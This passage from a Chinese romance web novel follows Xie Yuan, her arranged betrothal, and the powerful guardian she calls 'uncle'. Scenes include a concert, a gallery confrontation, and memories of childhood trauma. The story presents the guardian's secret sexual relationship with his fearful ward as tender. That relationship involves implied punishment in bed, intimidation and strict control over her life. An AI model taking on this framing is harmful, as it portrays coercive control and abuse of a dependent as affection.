谢沅低垂下眼帘,她不知道是不是她的错觉,自从温思瑜和秦承月的事情暴露后,有什么东西在悄然无声地改变,以一种潜移默化、又深邃刻骨的方式。
她紧紧地攥着手指,克制不住地感觉害怕。
最近和秦承月见面实在是太少了。
之前他们说过,往后要更亲近些的,现在他都和温思瑜断开了,她怎么能往错误的方向继续前进?
如果订婚过后,叔叔应该就不会再那样了吧。
谢沅忍不住地再度想到这个问题。
她按亮屏幕,看着【秦承月】三个字发了很久的呆,他近来的事情终于快要忙完。
音乐会的电子邀请函被发了过来,时间正是明天。
以前他们也经常会一起听音乐会,听完以后一起去餐厅,简单地聊些什么,一次见面的任务就完成了。
谢沅迟疑地滑动屏幕,许久也没想好是答应还是不答应。
可她没有更多闲余的功夫多想,在露台边休息了没有多久,李特助就给她打来了电话:“小姐,先生这边的事情提前结束了。”
谢沅执着手机,低低地“嗯”了一声。
“好的,谢谢李叔叔,”她声音细柔,“我马上就准备过去。”
其实比起雅间包厢之类,谢沅一直要更喜欢在外间用餐,但和沈长凛在一起,这是绝对不可能的事情。
她很喜欢这家私厨。
沈长凛的口味随意,一直没什么喜欢或者不喜欢的,点的全是谢沅偏爱的吃食。
她接到李特助的电话后,就立刻准备出发,但过来的时候,沈长凛还是已经到了,他执着杯盏,浅酌茶水,神情柔和自然。
许是惩诫期到头了,他今晚很随和,言语也是低柔的。
谢沅被哄得要晕过去,直到腰身被托举起来时,才从那迷乱的思绪中挣脱出来。
她不喜欢这样,被淹没的恐惧会很深,而深重的潮水也的确能将她给吞噬掉。
谢沅怕得厉害,连声求沈长凛。
但一晚上的温柔过后,男人的神情又恢复了惯常的冰冷残忍,他扣住她的腰身,声音微凉:“沅沅要乖一点,不然明天约会要是下不来床,怎么办?”
第23章
谢沅的柔膝被迫分开,她寻不到着力点,全靠沈长凛攥住她腰身的那双手,才勉强地稳住身形。
她的脑中轰鸣,倏然变成一片空白。
叔叔是怎么知道的?是秦承月告诉他的吗?
要带她出去这种事总是要跟沈长凛说的,可他知道得未免也太快了些。
谢沅思绪纷乱,又无暇多想。
“叔叔……”她的长睫濡湿,低低地垂落。
沈长凛的容色微冷,方才在私厨时的温柔姿态全都消失了,他在床笫之间本来就狠,现今还带着怒意。
如果有心要折腾她,她说不定明天真的会下不了床。
卧室内的灯很暗,但沈长凛眼底的晦涩却是那么清晰,他换了个姿势抱起谢沅,声音微冷:“你可以解释。”
她被他抱在怀里,眼眸也被迫看向他。
但谢沅不敢看沈长凛,哪怕事情过去那么久,她还是害怕他。
他是沈家的主人,是救她于水火的恩人,也是她必须要回报的对象。
谢沅想不出要怎么解释,沈长凛也看出她解释不出来。
当初这桩婚事是他亲自定下的,那时候谢沅才十六七,背着书包,穿着校服,回到家里的待客厅,突然就拥有了一位准未婚夫。
沈蓉笑着说道:“沅沅,这是你承月哥哥。”
秦承月一身西装,头发捋到了后面,低声和她握手:“你好,谢妹妹。”
“沅沅快十七了,等她二十你们就订婚吧,”沈蓉蔼然说道,“这样刚好她毕业那会儿,就能结婚了。”
“两家都没什么孩子,”她继续说道,“到时候你们可要加把劲。”
沈蓉的妆容华美,她是大小姐,是贵妇人,也是个极善言辞的人,秦承月淡淡一笑,轻声说道:“这些事还是要听谢妹妹的。”
他说话谦和,但眉眼间带着的全是贵公子的矜傲。
谢沅局促地坐在长沙发上,满脸都是无措和懵然。
她的目光本能地找寻着沈长凛的身影。
谢沅数学不太好,家里给她请了专门的老师,那个晚上她本来应该去学习数学的。
须臾,沈长凛淡漠地推门而入,轻声说道:“沅沅,这是哥哥。”
她像看救命稻草一样地看他,但他只是平静地介绍了秦承月,然后向她说道:“今天晚上就不用上课了,学业的事,不用看得太重。”
对谢沅来说,即便早已知道自己的命运是什么,秦承月的到来还是太早了。
但更残忍的是她被永远改变的未来。
沈长凛言辞和柔,很少会讲重话,可他的意思是那么明白。
谢沅的祖父精通语言,译著无数,曾有人赞颂他是启民智的英杰,是以笔为剑的任侠。
他跨越漫长的阶级,反叛家中联姻,娶了谢沅的祖母。
可是很多年后,流着他血脉的谢沅却踏上了覆辙,成为被联姻的对象。
沈长凛并不知道谢沅用多久时间洗脑自己,慢慢地接受秦承月,接受这个既定的残忍命运。
他只知道,现在他没法立刻将谢沅再掰回来了。
这些天是他太急了。
沈长凛当然是疼谢沅的,但在那时候,他对她的看重其实也不过是因为她独特的身份。
秦家和沈家需要一架桥梁,来变得更加亲近,更加密不可分。
谢沅成为了完美的……联姻工具。
在照顾她这件事上,他做得不够好。
沈长凛低眼看向谢沅,将她的眼泪擦净,暗怒渐渐消退下去。
都快忘了,他其实是没立场指责谢沅的。
他是她什么人?不过是家里的长辈,一位须要敬着的叔叔罢了。
“好了,不哭了。”沈长凛低声说道,“这几天在家里闷得久了,明天去听音乐会也无妨。”
他抚了抚谢沅的脸庞,轻声说道:“但是不能回来太迟。”
她抬起眼帘,眸子湿润,长睫抖动。
谢沅生得好,但她的容色是不带攻击性的柔美,天真无辜,楚楚可怜。
唯有哭得厉害时,眼尾泛起湿红,会迸发出浓丽来。
但她自己却并不知道。
沈长凛吻了吻谢沅的额头,低声哄道:“我刚才说话重了,别难过,今晚早点睡,明天要是起不来就麻烦了。”
她性子软,又不善言辞。
方才被他说了重话,对他的惧怕也又浮现,久久过去,都没能为自己说出些什么。
沈长凛并不想让谢沅如此。
他搂住她的腰身,帮她洗净脸庞,然后给谢沅换了睡裙,把人抱进薄被里。
她侧躺在床上,昏暗的灯光下脸色还有些白。
“不哭了,沅沅。”沈长凛轻声说道,“再哭会头痛的。”
谢沅垂着眸子,她摇了摇头,声音细弱:“我不哭了,叔叔。”
明明被罚了的人是她,被说了重话的人是她,可现在强忍眼泪,不想让他担心的人也是她。
沈长凛低垂眼帘,轻声说道:“闭眼沅沅,睡不着的话,我给你讲故事吧。”
他二十三岁就接手了整个秦家和沈家,走到何处都是被人敬着的权贵,就连最张扬恣意的少时,也远比沈宴白要众星拱月百倍。
但是现在,这个万人仰望的男人,却放柔了声音,低声哄她睡觉。
只希望她能安然入梦。
谢沅的身躯蜷起,手指也攥得紧紧的,她费尽了力气,才没让眼泪再次落下来-
事情总算告一段落。
沈宴白累得胃病快要再犯,才终于从繁忙的事务中抽身。
打理家业说起来好听,实则是件很耗费心神的事,他处理的事情并不多,对这些事务也早已熟悉过,即便如此,仍是辛劳得不轻。
开完最后一个会后,沈宴白再没强撑,直接开始休假。
助理看着他离去的身影,颤巍巍地说道:“沈总,您最近要不要做个体检?”
沈宴白以前最厌烦体检之类的事,他的脚步顿了顿,低声应道:“你看着安排吧。”
上回胃病突发,是真的让他开始面对现实了。
这世上大抵也只有他叔叔,能漫不经心地将事情轻易处理完毕,要到沈长凛那境界,不知要有多强的禀赋,沈宴白低下眉眼,果断地又服了些胃药。
胃是情绪器官。
他饮酒向来注意,胃病还能来得那么势猛,就是将自己逼得太狠了。
沈宴白站在洗手池边,撩水洗了把脸,然后将额前垂落的发丝往后捋。
从明日开始,他是真的要好好休息一段了。
亲近的朋友早就准备给沈宴白办接风洗尘的宴席,结果到最后也没办成,现在人都在燕城待成一尊佛了,众人才终于又聚到一起。
秦承月也接连忙了多日,眉眼带着少许疲惫。
沈宴白刚刚过去,还没跟他打招呼,霍阳就开了礼炮,扬声说道:“热烈欢迎沈少回国!”
这边人很乱,足够嘈杂,摇滚乐声震耳欲聋。
但霍阳那一声高喝还是足够清亮,尤其是在侍者们将红底黄字的横幅拉开以后,乱七八糟的视线也全都聚焦过来了。
沈宴白直想给霍阳一巴掌。
秦承月唇角翘起,和身旁的人一道起身,才拦住了沈宴白。
都是世家子弟,但他们的生活也很不同,要承担家业的,总要更辛劳一些,辈分靠后的,则轻松自在许多。
像霍阳这种太孙,日子过得就不要太滋润。
他短暂乌黑过的短发,又恢复了闪着光的银灰色。
沈宴白从前比霍阳还恣意,现在却没法再那样了,他呷了口酒,冷眼睨霍阳:“你就等着吧。”
霍阳哪里会被他威胁到?
他顶着头银灰色短发,身上银白色的外套也发着光。
霍阳挑眉,笑着说道:“上回送沈少的跑车,开着还不错吧。”
他爱玩车得很,新得的跑车丢在赌局里了,转头又给自己提了辆新车,比之前那辆灿金色的太阳花跑车更加张扬。
通体都是银灰色,正配他的发色。
沈宴白扯唇一笑,轻描淡写地说道:“希望霍少能早日治好赌瘾。”
圈子里的赌局都是玩乐性质的,而且赌什么事的都有。
沈宴白要是不说还好,他一开口,众人又想起了他的感情事。
这赌局最初就是赌他什么时候跟女友分手的。
沈宴白换女友换得很勤,回国时没将女伴带回,众人就猜测多半是告吹了,只是这回不知又是为何。
几人挤眉弄眼,心里好奇,却不敢直接问出来。
别是沈少又被女人甩了就成。
但还没有人开口问,沈宴白就向后倚靠身子,自己懒洋洋地说出来了:“别再开这种赌局了,没意思,早就分了。”
霍阳也往后靠着,弯起眼问道:“怎么了?人不愿跟你回来吗?”
沈宴白又饮了些酒,懒散说道:“不是,之前就分了。”
他说了个大概日期。
霍阳算了算时间,低骂了句脏话:“你不会是听说我参加了那赌局,才故意谈够两周就分的吧?”
“不是。”沈宴白笑出声,“还不至于。”
不知道是想起什么,他的容色渐渐和缓下来。
霍阳的兴致反倒被挑起来了,他问道:“那是为什么?”
但沈宴白却不再理他了,刚好餐饮上来了,任凭霍阳怎么问,沈宴白也不多搭理他。
秦承月心不太在焉,跟众人打牌的时候,频频打开屏幕。
他牌技强,记性又好,哪怕分心也能赢得漂漂亮亮。
小庭坐在秦承月对面,被他折磨得不轻,连声求饶:“承月哥,算我求您了,我今晚还没开胡呢。”
秦承月性子比他们要持重得多,闻言也笑了下。
他正欲说什么,屏幕忽而亮起,低声说了句抱歉,便径直起身离开。
秦承月走得很快,但他的手机是放在屏幕上的,【沅沅】两个字忽闪而过,也叫众人看了个清晰。
小庭的视线本来就利,差点没直接开始起哄。
感情承月哥今天杀这么狠,是因为小谢妹妹一直没回消息。
两个人上回见面还带着点客客气气的,才多久就这么熟悉了,照这进度,过不了多久就能吃上他们喜酒了。
小庭满脸堆笑,看向沈宴白:“哥您看这红鸾星动就是这样的,承月哥才跟孽缘断了不久,这边跟小谢妹妹就顺当起来了。”
他很会说吉祥话。
沈宴白扯唇一笑,轻声说道:“你懂得挺多。”
小庭笑得更灿烂,连声说道:“哥您谬赞了。”
五光十色的灯掠过,在某个瞬间刚巧照亮沈宴白的脸,他才瞧见沈宴白的唇边并非含笑。
沈大公子颜色略浅的眸里,唯有一片冰冷的深黑。
小庭吓了一跳,死咬住舌头,一点都没敢表现出来-
谢沅昨晚睡得很早,跟沈长凛在一起的时候,又向来不多看手机,翌日清晨睡醒时,她才发觉秦承月发了一堆消息。
问她明天餐厅订哪家,问她要不要他来接,问她是不是还在忙。
秦承月并不是不知分寸的人。
在跟温思瑜有接触后,他也在渐渐减少跟谢沅的见面。
或许秦承月也曾经想过,要不干脆将婚约解除算了,免得耽误谢沅。
她已经很久不曾接受过这么热切的悉心询问,一时有些头疼,但没翻多久,谢沅就发觉昨天有人替她给秦承月回过电话了。
她看了眼时间,心想应该是沈长凛回的。
谢沅更头疼了。
她颤抖着手点开通话记录,去听里面的录音。
沈长凛声音很轻:“沅沅不舒服,已经先睡了,你有什么事吗?”
秦承月似乎是愣怔了片刻,他愕然地问道:“是您?”
但很快他的语调又恢复惯常的恭敬谦和。
沈长凛三言两语就帮谢沅把约会的具体事宜安排了,然后漫不经心挂了电话。
谢沅脸颊泛红,将屏幕倒扣下来。
去洗了把脸后,她才把全部的消息给看完。
沈长凛很清楚谢沅的作息,在她洗漱完后,电话就打了过来:“起床了吗,沅沅?”
昨天的事来得突然,她已经做好被狠罚的准备,但他却只是温柔地哄她睡了过去。
谢沅很久没睡过这么舒服的觉。
“起床了,叔叔。”她细声启唇的时候,声音还是柔软的。
沈长凛轻声说道:“之前哥哥犯了胃病,这几天要在家休息,辛苦你注意些,要是有事就直接给家庭医生打电话。”
谢沅吃了一惊。
她还以为沈宴白的胃疼早就好了,没有想到这都到要在家休息的地步。
“我知道,叔叔。”谢沅连连点头,“我一定会注意的。”
挂了沈长凛电话后,她心中还是有些担忧。
无论是身体还是心理上的事,沈宴白都很喜欢强撑着,如果不是难受到极致,是绝对不会表现出来的。
偏偏今天答应了要跟秦承月一起出去。
谢沅苦恼地皱了皱眉,然后悄悄下楼,把事情跟管家说了一声,他略微表现出少许讶异,但却没有多说,只温声应道:“好,您不用担心,小姐。”
说过以后,她才放心开始用早餐。
沈宴白昨天回来得晚,九点左右方才下来,谢沅已经用完早餐准备出门了。
她今天跟秦承月有约,又是要去听音乐会。
谢沅换了身浅金色的裙子,加上天热,还戴了顶太阳帽,乌发垂落,在末梢微微打卷,配上跟稍高的小皮鞋,像童话书里的小公主。
沈宴白倚在博古架边,轻轻启唇:“要我送你过去吗?”
一夜过去,情绪早就降下来了。
但话音落下后,他依然在奇怪,他为什么会问出这么一句话。
谢沅愣怔,她抬起眼眸,连连摆手:“不麻烦您了,哥哥,您好好休养吧。”
沈宴白眉心拧起。
什么情况?他只不过是休个假,谢沅的眼神怎么跟他快要病死一样?
第24章
沈宴白正欲说些什么,谢沅就要离开。
她向他招了招手,说道:“我先过去了,哥哥,马上就要迟了。”
说完谢沅就匆匆要走,沈宴白倚在博古架边,在她路过时抬手勾住她包的细带。
现在也不知道是谁在给她挑选衣帽饰品,每次都选得格外合适。
香奈儿的迷你口盖包,白色的羊皮革,浅金色的链条细带,上面的两颗小珍珠更是莹润万分。
很小巧,也很精致。
最重要的是,格外衬她。
谢沅的步伐很快,被沈宴白突然一拽,差些就要因为惯性跌进他的怀里。
她的黛眉皱了起来。
哥哥都这个年纪了,为什么还要干这种事?
沈宴白迎上谢沅的目光,低咳一声,说道:“我早就没事了,这回休假只是因为先前的事忙完了。”
他惯来喜欢撑着。
“嗯,好的,哥哥。”谢沅并不完全信他,在面上也没有表现出来。
她一手抚在小包的细带上,另一手轻轻地将裙摆给理平。
指骨纤细,恍若葱白,闪烁着莹莹的光。
“过来,”沈宴白收回视线,抬起长腿,“我送你过去。”
他跟沈长凛有些时候很像,说话不容置疑。
这边决定要送谢沅过去,沈宴白立刻就跟司机通了电话:“李叔,今天我来送沅沅,你休息吧。”
许是因为休假,近来的事情又顺,他的脾气好像好了很多,对她也温和许多。
毕竟等到时候将谢沅给嫁出去,这个家里就再也没有会搅到他的人了,现在的相处已是最后的时光,就是对谢沅好一点也没什么。
谢沅的长睫垂落下来-
今天是周末,天气虽然炎热,但外面的人还是很多。
沈宴白的车载音乐还是钢琴曲,古典乐悠扬悦耳,像是凛冽的风雪,令人心情平静。
谢沅和秦承月到底不是正经情侣。
她家教又严,两人基本每次出门都是听音乐会。
谢沅不是很懂音乐,但她喜欢那种放松专注的氛围,什么也不须要多想,只用安静地欣赏音乐就好了。
燕城每次跨年都有新年音乐会。
沈宴白擅长钢琴,喜欢古典乐,对名家如数家珍,但他每年都很忙,有时去国外,有时去滨城,有时跟朋友们在外面玩。
反倒是谢沅将新年音乐会听了个回回不落。
她没有音乐细胞,但经过许久的熏陶后,也对音乐拥有更深了解。
是李斯特的《追雪》。
谢沅正在想着,沈宴白忽然问道:“最近和秦承月处得怎么样?”
红灯亮着,大约还有两分钟才结束。
她其实不太习惯被沈宴白送,如果是司机送的话,她就可以待在后座安安静静,但跟他一起,总免不了各种问话。
更别提上一回,他半路都在训她。
谢沅的指节轻动,抬眸说道:“还可以,哥哥,承月哥很关照我,最近他一直在忙,我们才没有出去的。”
她有点紧张,神情也透着慌乱,像是生怕他要说什么。
沈宴白当然知道秦承月最近有多忙,他刚刚忙完,秦承月也是一样的,昨天他们才见到他正式回国后的第一面。
七月事情都多。
听到谢沅的话后,他淡淡地点头:“嗯。”
沈宴白的话语没什么情绪,听不出是高兴,还是不高兴。
谢沅抬起头,继续说道:“……如果承月哥有空的话,我会经常寻他的。”
她这补充来得很假,旁人不知道她的性子,他难道还不知道吗?
沈宴白偏头看了她一眼,却没再多说什么。
谢沅攥紧手指,等到车辆行进一段后,才后知后觉地意识到她好像说错什么了,沈宴白不是很满意她的答复。
但话已经出口,没有弥补的余地。
好在没多久,就到音乐厅了。
沈宴白跟秦承月发了定位,比起约定的时间,谢沅要提前十分钟到,但她下车的时候,秦承月还是已经候着了。
一接住她,秦承月就问道:“昨天晚上怎么了?是发烧了吗?”
“没有,承月哥。”谢沅绞了绞手指,仰起头说道,“我就是有点头疼,所以提前先睡了。”
她怎么也没法告诉秦承月,那时候她是在床上。
沈长凛帮她换了衣服,轻吻过她的脸庞,指节抚过她腿根的每一寸雪肤。
谢沅不擅长说谎,好在秦承月没有多问。
但一起下车的沈宴白皱了皱眉,低声问道:“怎么了?”
“你当时不也在吗?”秦承月笑了一下,“昨晚沅沅一直没回消息,后来是沈总给我回的电话,说沅沅不舒服,先睡了。”
他的语气平和,神情自然。
谢沅站在两人中间,心弦却是紧绷了起来。
如果沈宴白记性好,他应该能想起,之前他敲开谢沅的门时,从她房中走出的沈长凛说的也是同样的话。
可他却是看向她,低声问道:“是又低血糖了吗?”
谢沅很想将这个话题给推开。
“可能是之前没睡好,”她声音细弱,“就是突然头疼,现在已经没事了。”
秦承月却将话题又拨了回来,他容色微怔,轻声说道:“你低血糖,之前怎么没告诉我一声?”
他并不知道谢沅有低血糖。
谢沅其实对秦承月的了解也很少,他们经常一起听音乐会,上回在海边聊天时,她才知道他不会弹钢琴,小时候学的是大提琴。
很难想象,他们是一对准未婚夫妻。
但其实秦承月这么问,就已经是极大的改变了。
无论是对待婚事,还是对待彼此,之前他们都有些消极。
谢沅攥紧手指,细声说道:“不是很严重,承月哥,平常不会有什么影响的。”
沈宴白的脸色却一下子就冷下来了,他对谢沅向来是漠不关心,都知道她有低血糖,秦承月这个做未婚夫的,连这种事都不知道。
这就是谢沅说的“很关照”吗?
秦承月也留意到沈宴白的容色。
沈宴白对谢沅没什么感情,但他这个人很护短。
“抱歉,沅沅。”秦承月低头看向她,“以后我会注意的。”
谢沅最怕旁人当着她的面吵起来,她紧张地说道:“没事没事,承月哥。”
跟秦承月说完,她又连忙看向沈宴白。
“谢谢哥哥,这回麻烦你了。”谢沅抬起水眸,“我们马上就要进场了,您也早些回去休息吧。”
她最是寡言少语,却被这两人逼得连连开口。
好在沈宴白没有真的动怒。
他转了转车钥匙,漫不经心地说道:“回来前给我发消息。”
这是还要接谢沅的意思。
她不敢拒绝,硬着头皮,点头应道:“好,哥哥,我会记得的。”-
沈宴白离开后,谢沅歉然地看向秦承月。
这是两人在这段时间后第一次见面,也是他们言说以后要更亲近些后的第一次见面。
没想到才刚刚碰面,就出了这种事。
“抱歉,承月哥。”她低声说道,“哥哥最近工作很忙,心情不太好……”
沈宴白的脾气就从来没有好过。
但是近来的确是更差了。
秦承月将纸质的邀请函递给谢沅,轻声说道:“没事,本来就是我疏忽了。”
她更加不好意思了,好在音乐会马上就要开始。
谢沅接过邀请函,随着秦承月一起进场。
音乐厅里冷气开得很足,她进去后就穿上了外套,秦承月很善于挑选位子,每次选的位子都十分合适。
谢沅屏息凝神,认真倾听。
一个半小时的时间如流水般淌过。
秦承月擅长大提琴,今天的一位大提琴手是他从前的朋友。
结束后他们聊了片刻。
那青年的头发微卷,温和笑道:“妹妹你好,我是承月的朋友,之前还跟他同门过,是他师弟。”
他误以为谢沅是秦承月的妹妹。
她年纪小,哪怕换了正装,依然带着学生气。
之前也常有人会认错,谢沅没有想太多,声音细柔:“您好。”
“诶,对了,”青年促狭地笑了一下,“怎么没见上回那位温小姐……”
秦承月却摇了摇头,他笑着打断朋友:“你说什么呢?这是我的未婚妻,谢沅谢小姐,过段时间我们就要订婚了。”
从前他从来不会这样说。
朋友的妹妹,家里的妹妹,叔叔家的孩子。
谢沅是这些身份才对。
那青年恍然大悟,含着笑说道:“那就是嫂子咯。”
他不由地庆幸方才那句话没说完,不然小嫂子只怕是要吃味的。
真没想到,秦师兄这样的人,竟会娶这么年幼的小妻子,这位谢小姐看起来好像大学都还没毕业。
寒暄过后,秦承月便带着谢沅离开。
他低眼看她,轻声说道:“抱歉,是我事先没跟他说清楚,以后不会再这样了。”
秦承月的声音很轻,富有磁性。
惯来持重高冷的人如此言语,是会叫人心生触动的,但谢沅却只想得到沈长凛。
秦承月生得像他,声音像他,就连低声安抚她时的语气,都是一样的。
谢沅神情微动,指节也顿了顿。
“没关系,承月哥。”她仰起脸庞,细声说道,“我没事的。”
谢沅是个很懂事的孩子。
哪怕秦承月什么都不说,她也不会有情绪,更不可能去指责他什么。
但那个瞬间,他忽然明白为什么沈长凛、秦老先生、温思瑜,乃至沈宴白都会对她怀着怜惜了。
谢沅明明是不用懂事的。
跟在他身边的时候,她应该也受了许多委屈吧。
一个女孩子家,平白无故被联姻对象冷落,联姻对象还跟她的姐姐有了牵扯,哪怕她不那么喜欢他,这应该也是很难受的事才对。
但谢沅的容色好像真的很平静。
秦承月之前已经订过餐厅了,她在手机上翻看新上的饮品,看中了一款冰激凌奶茶,柔声说道:“承月哥,能不能加一个这个?”
沈长凛是不允谢沅喝奶茶的,尤其是冷的。
她之前因为喝冰奶茶犯过胃病。
沈宴白胃病厉害,谢沅只是脾胃弱,但沈长凛并不会去分辨这个。
他管她管得严格,家里的三餐看似都是她偏爱的,其实也是在他限制的基础之下定出来的。
秦承月并不知道。
谢沅难得说有想吃的,他当然是点头应允:“好。”
“对了,这家餐厅的龙吟草莓要尝尝吗?”秦承月问道,“听说还不错。”
谢沅点点头,眼眸微微亮起。
饮品和甜点上得快,她开胃的沙拉吃了一点,就放下了餐叉。
秦承月隐约觉得谢沅这种吃法不太健康,但看着她眯起的眼眸,却也没有多说。
她好像挺喜欢吃甜食的-
用完餐后,已经将近下午两点,两人一起去邻近的画廊看画展。
秦承月很会安排行程,既不会让谢沅累着,也不会让她觉得没趣。
谢沅以前对艺术一无所知,在沈家熏陶多时,也没能习得多少。
后来是读了哲学,在学习各种思想流派的时候,才对各类艺术品有了更多兴趣。
这回画展的策展人很擅长安排路线。
依照时间顺序,将各种流派的作品悄然展示出来。
哪怕是对绘画一点不懂的人,也能看得尽兴,一下午的时光颇为愉快地过去了。
谢沅提前一小时给沈宴白发了消息,发定位得用社交软件才行,他们并不常用社交软件沟通,她差点误触到视频通话。
她小心地按键,轻碰屏幕,将位置发送出去。
沈宴白到得很快,却不小心迷了路。
秦承月不得不先过去寻他,他向谢沅说道:“沅沅,你先在这边等一会儿,我去接你哥哥。”
她点点头,说道:“好,承月哥。”
从早期的宗教绘画,到后来的浪漫主义,再到最后的后现代主义,画展像是一卷史册,无声铺展开来。
秦承月离开后,谢沅又看了许久的画。
最后她还是停在了那副后现代主义的深色长画面前。
幽深的漩涡,像是个黑洞,能将站在前方的人给吞噬掉,铺陈在一起的是巨大的工厂,高高的烟囱和各种机械。
看起来毫无逻辑,却又格外的引人入胜。
好奇怪。没有署名。
谢沅有点遗憾,她还是将画的名字记了下来,正在她轻轻敲屏幕的时候,身后走来一对男女。
女郎挽着男人的手臂,声音娇媚:“你看这幅画,我老师说作者的天赋是那一届里最高的,老是跟我们讲呢。”
男人说道:“哦?原来是你师兄呀。”
两人的声音有些大,不过已经快要今天的画展结束了,也没有太多人投来目光。
谢沅倒是兴致勃勃,想听听作者是谁。
“不是,是我师姐,”女郎娇笑着摇了摇头,“不过你要是说是我师兄也没错,她那个打扮就很怪,没什么能认出她是女的。”
男人的脸色异样,调笑地问道:“人妖?”
这样的话语太轻蔑了,谢沅侧眸看去,却听那男人更加鄙薄地说道:“就没听说过几个女画家,女人能画出来什么东西?”
他的声音很大,带着一种昭然的自得和优越。
仿佛就是要将话说给所有人听。
他身边的女郎面露尴尬,却也没有说什么。
谢沅站在原处,低声说道:“从古到今,只有一种职业是男人才能做的,那就是太监。”
她不善言辞,更很少在公开场合主动开口。
只是被情绪激着,才会突然这样言语。
展厅里整体还是安静的,谢沅这句话说出来后,不少人笑出了声,那男人听见有人这样讽刺他,当即就转过了身。
“你是谁呀你?”他身材魁梧,逼近的时候有阴影落下。
展厅里是有保卫人员的。
谢沅强作镇定,抬眸说道:“和你有什么关系?你也想做太监吗?”
她学着沈宴白说话的讽刺口吻,下颌也微微抬了起来。
这就是昭然的挑衅了。
谢沅的挑衅很不熟练,但那个男人却被轻易地激怒了:“你说什么屁话呢?”
他抬起拳头,作势想要打来,身畔的女伴拦都拦不住。
谢沅想起旧时记忆中的碎片,耳边陡地闪过阵阵的轰鸣,她竭力想要保持沉静,但额前霎时泛起冷汗,柔膝也微微发软,很想要蜷缩起来。
黑暗的东西快要将她吞噬。
眼见男人的拳头要打来,预想中的疼痛却没有到来。
一个身影挡在了谢沅的面前,他径直掐住了那男人的手腕,神情冷酷到不可思议,声音里也尽是寒意:“你是什么东西?”
是沈长凛。
他的声音很冷,以至于谢沅幻听,仿佛听到了骨节断裂的声音。
男人似乎是发出了惨叫声,又似乎是没有。
保卫人员匆匆上前,不远处的几位高层也立刻过来,认出那是沈长凛的人,吓得满脸冷汗,步履都是颤抖的:“沈、沈先生!”-
秦承月带着沈宴白走进,疑惑地问道:“沅沅不是给你发定位了吗,怎么还能走错?”
沈宴白更加疑惑,说道:“她什么时候给我发定位了?”
他绕了很大一圈,气急败坏地说道:“这个笨孩子,不会发给别人了吧?”
展厅不知道发生了什么,忽然嘈杂起来,两人没明白发生了什么,但秦承月的目光却忽然顿住了,沈宴白顺着他的视线看过去。
看见了很令人触动的一幕。
年轻姑娘满脸泪水,紧紧地攀住男人的脖颈,男人仔细地抱着她,轻声安抚:“别怕,我在这呢。”
两人的距离很近,近到男人偏头就能吻到那姑娘的唇。
一个楚楚动人,一个俊美沉稳。
哪怕是在网路上看到这样的场景,也会有人疑心是否是电影的片段。
沈宴白忽然很想点一支烟。
如果这两个人,不是他叔叔和谢沅就更好了。
第25章
黑暗的情绪总是更容易将人吞噬得多。
它藏在心底的最深处,光亮找不到,也没有手段能将那些魑魅魍魉轻易勾出。
唯有在某些特殊的时刻,它会突然地显现,将谢沅陡地拉住黑暗的深处,在情绪侵袭上来时,理智会飞速地后退,强烈的心悸能把一切的勇气给湮灭。
最终她什么也做不了。
谢沅性子沉闷,寡言少语,其实在很小的时候,她并不是这个样子的。
那时她也安静乖巧,但却不是现在这副模样。
她可以和男同学一起玩,可以开朗地放声大笑,不会经常失神,不会畏惧鲜血。
父亲是数学天才,禀赋特异,母亲擅长艺术,天资卓绝,两人在外都有些孤高的气质,但在谢沅面前,永远都是温柔的。
对父母来说,最大的痛苦就是生了个笨孩子。
谢沅小时候不太聪明,尤其数学不好,但他们从来不会怪她,总会很悉心地引导她。
她跟着他们在很多地方生活过,待得最久的是宁城。
谢沅在那里读了四年的小学,从换牙期的小孩子,初初长成一个小少女。
或许是因为渐渐长大了,她潜藏的天赋终于展现出来,虽然并不多,但已经足够令人高兴。
毕业的那天,两人过来接她,她走在中间,他们牵着她的手。
可是后来一切都变了。
那个很平常的情境,却成为了谢沅对童年最后的记忆。
她对过去的很多事没有连贯的记忆,情绪也总是破碎的,人在遇到不好的事情后,大脑会自动开启保护机制。
并不是因为豁达才忘了,只是因为太痛苦了。
大脑害怕人无法承受。
谢沅在紧张和局促中生活了三年,被带到林家的时候,她以为颠沛流离结束了,往后会是幸福和平静。
但她坠入的是更深的深渊。
只剩最后一根稻草就能压倒谢沅了,到来的却是千钧的痛苦。
直到那样的一双手,硬生生地将她从崩溃和绝望中拉了出来。
第一次见沈长凛,谢沅磕磕绊绊地自我介绍,话还没说完就红了眼,沈长凛轻声说道:“没关系。”
递来的那张手帕透着冷香,擦净了她少时所有的眼泪与不安。
那段时间,谢沅看过很多医生,还服过很多药。
她以为她一辈子都摆脱不了那个黑暗的阴影。
但沈长凛却用最简单直接的方式消除了谢沅的恐惧,他给她创造了一个新的世界,将她护佑在自己的羽翼之下。
所以她可以为他做任何事。
被沈长凛带回沈家的伊始,谢沅心中全是惧怕和慌张。
她害怕旁人的冷眼,害怕暗处的风言。
可是沈家的上下都待她很好。
很长的一段时间,黑暗的情绪都没有再度侵袭,沈长凛会杜绝一切祸因,让谢沅能够安然地成长。
她也的确好好地长大了。
如果不接触刺激的源头,谢沅几乎和正常人没有什么区别了,但某些时刻,旧的记忆还是会像邪魔般猛地攥住她的脚踝。
她私底下尝试过脱敏,也在竭尽一切努力地改变。
可是方才,当那个男人的阴影落下时,黑暗的情绪还是突然袭击上来。
其实谢沅根本没有必要害怕,展厅的保卫人员很多,周边也还有很多人。
她是可以躲开他的。
她已经是大孩子了,早就不是那个无助孤单的小女孩了。
她可以更坚强,更勇敢的-
沈长凛抱起谢沅,她哭得有些累了,渐渐没有气力,轻轻地将头垂在她的肩头。
她生得瘦,轻得像是一片大些的羽毛。
沈长凛用抱孩子的姿势将谢沅抱了起来。
她阖上眼眸后,他脸上的柔情褪尽,色泽稍浅的眸底只有一片深黑。
展厅的附近就有休息室,沈长凛将谢沅抱过去,一起跟来的刚好是程特助,她之前也照顾过谢沅一段时间,匆匆就跟了上去。
她的小腿很细,苍白得没有血色,垂落时荡开微弱的光晕。
沈宴白想起那天夜里,沈长凛轻轻将谢沅抱起,放到长沙发上时的情形,他眼看着他叔叔攥住谢沅的小腿,亲自给她上了药。
有一个冲动的疑问在强烈作响,叩击他的耳畔。
寻常叔侄之间,会这么亲密吗?
正在沈宴白凝神屏息,思绪不断翻涌时,沈长凛神色淡漠地投来了目光。
不是看向他的,他却倏然从那怪诞的猜想中挣脱。
沈宴白抿紧了唇,拍了拍身侧秦承月的肩膀,将他从错乱的思绪中给拽出:“先去看看沅沅。”
秦承月如梦初醒,眼帘也落了下来。
隔得有些距离,展厅又被快速地封锁起来。
两人匆忙赶过去的时候,沈长凛已经从休息室中出来了,他看也没看沈宴白,目光直接地看向秦承月:“沅沅说你很关照她,你就是这么关照她的吗?”
